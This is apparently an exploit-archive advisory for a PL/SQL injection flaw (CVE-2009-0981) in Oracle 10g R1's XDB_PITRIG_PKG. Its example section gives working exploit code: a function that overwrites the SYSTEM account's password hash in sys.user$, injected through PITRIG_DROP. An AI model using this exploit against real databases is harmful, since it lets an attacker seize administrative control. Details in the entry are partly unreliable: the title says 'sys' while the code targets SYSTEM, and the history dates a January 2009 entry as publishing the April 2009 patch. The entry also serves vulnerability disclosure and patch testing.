Oracle 10g R1 xdb.xdb_pitrig_pkg PLSQL Injection Change sys password

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Name	Oracle 10g R1 xdb.xdb_pitrig_pkg PLSQL Injection Change sys password
Systems Affected	Oracle 10g R1
Severity	High Risk
Category	Change Password
Vendor URL	http://www.oracle.com/
Credit	Alexandr Polyakov
Exploit	http://www.milw0rm.com
Date	28 Jan 2009

Details

This exploit allowed the attacker to change the password from sys user

Example
CREATE OR REPLACE FUNCTION CHANGEPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'update sys.user$ set password=''EC7637CC2C2BOADC'' where name=''SYSTEM''';
COMMIT;
RETURN '';
END;
/

EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"."SH2KERR" WHERE 1=SCOTT.CHANGEPASS()--','HELLO IDS IT IS EXPLOIT :)');

History
13-jan-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Advisory published

Definition Exploit
An exploit is a common term in the computer security to refer to a piece of software that take advantage of a bug or vulnerability leading to a privilege escalation or d.o.s. on a computer system.
Computer security experts are using exploit code to test if a patch is working properly.